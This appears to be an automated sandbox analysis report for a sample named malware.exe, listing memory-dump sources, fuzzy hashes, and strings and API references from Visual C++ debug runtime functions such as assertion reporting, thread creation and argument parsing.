Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cbb34f28fa83fad77cdb5daab8c0e02728bfb29304b6a7cdd9b3609b7c53452
Instruction ID: 19a325ba42ff03c91b85d6eacbd915eea6a2ab51e5b2df98f68551391e2f1b26
Opcode Fuzzy Hash: 2cbb34f28fa83fad77cdb5daab8c0e02728bfb29304b6a7cdd9b3609b7c53452
Instruction Fuzzy Hash: EF90022791CE4281F5114B2169542341510AB04350E1100B5C04AC50914D2E6068520B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA70532F Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0f4922dd259706429af962c5538f6842cdcd7d210638bcae0ea5901f0d24e5
Instruction ID: 9e2e107413622d102aaf95aa2cb4f3f345df04aacd23f71cb4884219548e8a1f
Opcode Fuzzy Hash: 1d0f4922dd259706429af962c5538f6842cdcd7d210638bcae0ea5901f0d24e5
Instruction Fuzzy Hash: 59900267A2CE06C4F154071054D03341110AB00B40B1481B5C00AC50D25D7E6550520B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA703737 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fa97fb2cd7dcaa7d666ac95d63b2c4f390dd3285df1edcb10a2e9c68464f71
Instruction ID: 7b2726eb5f9e69d21773c349c03fd1c3f9b770a389ec9953e7ce37ceb76cc12a
Opcode Fuzzy Hash: a3fa97fb2cd7dcaa7d666ac95d63b2c4f390dd3285df1edcb10a2e9c68464f71
Instruction Fuzzy Hash: 1390025792CD02C0F1500B1054842381110DB10780A54C4B1C41BC51535D3E7444510B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA705735 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f68d1db390022320d2ad27a7bf6d439aaad80b819afe37236f5b72b4407454e
Instruction ID: 817abe339bb87546bb106f8adbe515a978fd740174c0fe046a6555083596566d
Opcode Fuzzy Hash: 9f68d1db390022320d2ad27a7bf6d439aaad80b819afe37236f5b72b4407454e
Instruction Fuzzy Hash: 9090021791DC0280F6118B5055006343150EF08311B5240B3C18AC80998D2E6151910B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA70375A Relevance: 38.9, APIs: 1, Strings: 21, Instructions: 447fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6EA8BD470

Strings

_CrtDbgReport: String too long or IO Error, xrefs: 00007FF6EA8BCE6E, 00007FF6EA8BD0FF
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 00007FF6EA8BCF69
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 00007FF6EA8BCD2A, 00007FF6EA8BD538
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00007FF6EA8BD137
Assertion failed: , xrefs: 00007FF6EA8BCEC9
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 00007FF6EA8BD1FB
%s(%d) : %s, xrefs: 00007FF6EA8BD07C
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 00007FF6EA8BD255
Second Chance Assertion Failed: File , xrefs: 00007FF6EA8BCD38
_VCrtDbgReportA, xrefs: 00007FF6EA8BCD23, 00007FF6EA8BCE37, 00007FF6EA8BCE9F, 00007FF6EA8BCF1B, 00007FF6EA8BCF62, 00007FF6EA8BCFCF, 00007FF6EA8BD015, 00007FF6EA8BD0C8, 00007FF6EA8BD130, 00007FF6EA8BD179, 00007FF6EA8BD1EF, 00007FF6EA8BD24E, 00007FF6EA8BD531
, Line , xrefs: 00007FF6EA8BCD7D
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00007FF6EA8BCEA6
strcpy_s(szOutMessage, 4096, szLineMessage), xrefs: 00007FF6EA8BD180
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 00007FF6EA8BCF22
strcat_s(szLineMessage, 4096, "\r"), xrefs: 00007FF6EA8BCFD6
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 00007FF6EA8BD21D
strcat_s(szLineMessage, 4096, "\n"), xrefs: 00007FF6EA8BD01C
minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp, xrefs: 00007FF6EA8BCD1C, 00007FF6EA8BCE2B, 00007FF6EA8BCE98, 00007FF6EA8BCF14, 00007FF6EA8BCF5B, 00007FF6EA8BCFC8, 00007FF6EA8BD00E, 00007FF6EA8BD0BC, 00007FF6EA8BD129, 00007FF6EA8BD172, 00007FF6EA8BD1E3, 00007FF6EA8BD247, 00007FF6EA8BD52A
Assertion failed!, xrefs: 00007FF6EA8BCEDA
<file unknown>, xrefs: 00007FF6EA8BCD61
(*_errno()), xrefs: 00007FF6EA8BCE43, 00007FF6EA8BD0D4

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: FileWrite
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$minkernel\crts\ucrt\src\appcrt\misc\dbgrptt.cpp$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szOutMessage, 4096, szLineMessage)$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3934441357-2011695164
Opcode ID: 041ac298e4abd5103222f6a370b38369d3da9778efb202a739e6907b7fc03b54
Instruction ID: f12b5aff5805b23e92ce4b08e2fe0886226758a1bb5964497b544419741a6e1d
Opcode Fuzzy Hash: 041ac298e4abd5103222f6a370b38369d3da9778efb202a739e6907b7fc03b54
Instruction Fuzzy Hash: A0423A37618B8296EB20CF14E4943EA77A1FB88344F400176E68D87BA9DF7ED544CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8362D0 Relevance: 30.0, APIs: 3, Strings: 14, Instructions: 298COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6EA836339

Strings

Line: , xrefs: 00007FF6EA836623
traits::tcscpy_s(program_name, (sizeof(*__countof_helper(program_name)) + 0), get_program_name_unknown_text(Character())), xrefs: 00007FF6EA8363E6
_CrtDbgReport: String too long or IO Error, xrefs: 00007FF6EA8368CB
Microsoft Visual C++ Runtime Library, xrefs: 00007FF6EA836917
wcscpy_s(message_buffer, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00007FF6EA836903
common_message_window, xrefs: 00007FF6EA8363DF, 00007FF6EA83688E, 00007FF6EA8368FC
..., xrefs: 00007FF6EA8366FE
Module: , xrefs: 00007FF6EA836729
minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp, xrefs: 00007FF6EA8363D8, 00007FF6EA836882, 00007FF6EA8368F5
@, xrefs: 00007FF6EA8364E4
Expression: , xrefs: 00007FF6EA836593
File: , xrefs: 00007FF6EA83667A
@, xrefs: 00007FF6EA836419
(*_errno()), xrefs: 00007FF6EA83689A

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: HandleModule
String ID: File: $Line: $Module: $(*_errno())$...$@$@$Expression: $Microsoft Visual C++ Runtime Library$_CrtDbgReport: String too long or IO Error$common_message_window$minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp$traits::tcscpy_s(program_name, (sizeof(*__countof_helper(program_name)) + 0), get_program_name_unknown_text(Character()))$wcscpy_s(message_buffer, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 4139908857-1800103407
Opcode ID: 2a4fcf697931d28085786f703954b787fdfd176ad022f9b80de4ccd1c98ffeb5
Instruction ID: b908e1f950f6114b140214a5fd2323cb8016331a50a7b97d222efb8de25d11eb
Opcode Fuzzy Hash: 2a4fcf697931d28085786f703954b787fdfd176ad022f9b80de4ccd1c98ffeb5
Instruction Fuzzy Hash: DA02C43660DBC695EA70CB14E4883ABB3A4FB88740F500175D6CD82B99EF7ED159CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA708953 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 124COMMON

Download Yara Rule

Strings

wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 00007FF6EA8A748D
wcscpy_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), L"Runtime Error!\n\nProgram: "), xrefs: 00007FF6EA8A738B
minkernel\crts\ucrt\src\appcrt\internal\report_runtime_error.cpp, xrefs: 00007FF6EA8A737D, 00007FF6EA8A73EE, 00007FF6EA8A747F, 00007FF6EA8A74C4, 00007FF6EA8A7507
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 00007FF6EA8A73FC
Runtime Error!Program: , xrefs: 00007FF6EA8A7354
Microsoft Visual C++ Runtime Library, xrefs: 00007FF6EA8A7529
<program name unknown>, xrefs: 00007FF6EA8A73C7
wcscat_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), message), xrefs: 00007FF6EA8A7515
..., xrefs: 00007FF6EA8A745A
__acrt_report_runtime_error, xrefs: 00007FF6EA8A7384, 00007FF6EA8A73F5, 00007FF6EA8A7486, 00007FF6EA8A74CB, 00007FF6EA8A750E
wcscat_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), L"\n\n"), xrefs: 00007FF6EA8A74D2

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $__acrt_report_runtime_error$minkernel\crts\ucrt\src\appcrt\internal\report_runtime_error.cpp$wcscat_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), L"\n\n")$wcscat_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), message)$wcscpy_s(outmsg, (sizeof(*__countof_helper(outmsg)) + 0), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)
API String ID: 0-4242594854
Opcode ID: c4dbbf51c4f123fb6ee101aed0018bc3ed61aedd38fb6d4ab4368d5fca0ad9ae
Instruction ID: 04eb75ac1413cd455b6c09833866394c8b396c1cbfa195490ca89cb33b97e72e
Opcode Fuzzy Hash: c4dbbf51c4f123fb6ee101aed0018bc3ed61aedd38fb6d4ab4368d5fca0ad9ae
Instruction Fuzzy Hash: 72513363A3CA4681EA54DF55E4903BA6361FF84744F4001B6E68EC3796EF3EE105C78A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA7085FC Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EA8529E0: Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA852A2F

Concurrency::details::_Scheduler::_Scheduler.LIBCMTD ref: 00007FF6EA852DCC

Part of subcall function 00007FF6EA852850: __crt_scoped_stack_ptr.LIBCPMTD ref: 00007FF6EA85285E

CreateThread.KERNEL32 ref: 00007FF6EA852E38
GetLastError.KERNEL32 ref: 00007FF6EA852E4B

Part of subcall function 00007FF6EA852830: __crt_unique_heap_ptr.LIBCMTD ref: 00007FF6EA85283E

Strings

minkernel\crts\ucrt\src\appcrt\startup\thread.cpp, xrefs: 00007FF6EA852D4F, 00007FF6EA852D89
_beginthread, xrefs: 00007FF6EA852D90
%ls, xrefs: 00007FF6EA852D3A
procedure != nullptr, xrefs: 00007FF6EA852D2E, 00007FF6EA852D97

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Concurrency::details::_SchedulerScheduler::_$CreateErrorLastThread__crt_scoped_stack_ptr__crt_unique_heap_ptr
String ID: %ls$_beginthread$minkernel\crts\ucrt\src\appcrt\startup\thread.cpp$procedure != nullptr
API String ID: 3592056928-3665561634
Opcode ID: c378e7567738532513314514b85d927576a2d7dceb7e6ebaff907cfcb4225832
Instruction ID: c33d73966438893eb1aa5e1b7265ebb4e22d2e27af69c594bab0c36759467abc
Opcode Fuzzy Hash: c378e7567738532513314514b85d927576a2d7dceb7e6ebaff907cfcb4225832
Instruction Fuzzy Hash: 6E51413392CA4282EA54DB50E45036BB760FB80760F500275EAAEC76E9EF3ED554CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8A78C0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 176COMMON

Download Yara Rule

Strings

minkernel\crts\ucrt\src\appcrt\startup\argv_parsing.cpp, xrefs: 00007FF6EA8A7932, 00007FF6EA8A796C
common_configure_argv, xrefs: 00007FF6EA8A7973
%ls, xrefs: 00007FF6EA8A791D
C:\Users\user\Desktop\malware.exe, xrefs: 00007FF6EA8A79B0, 00007FF6EA8A79CD, 00007FF6EA8A7A28
mode == _crt_argv_expanded_arguments || mode == _crt_argv_unexpanded_arguments, xrefs: 00007FF6EA8A7911, 00007FF6EA8A797A

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$C:\Users\user\Desktop\malware.exe$common_configure_argv$minkernel\crts\ucrt\src\appcrt\startup\argv_parsing.cpp$mode == _crt_argv_expanded_arguments || mode == _crt_argv_unexpanded_arguments
API String ID: 0-2684786313
Opcode ID: b986c77e60767eb7c8d2ffb0e26ed0014806e1404dbd99ced9c39f761bdd4ed3
Instruction ID: 3384d82a58ac334125a022840ffc2d3348ee18ffcda3b35cf213b25d7b8389de
Opcode Fuzzy Hash: b986c77e60767eb7c8d2ffb0e26ed0014806e1404dbd99ced9c39f761bdd4ed3
Instruction Fuzzy Hash: 2F912F37A1CA8185EB60DF14E4913ABB3A1FB80344F404176E68DC2AE9EF7ED554CB46

Uniqueness

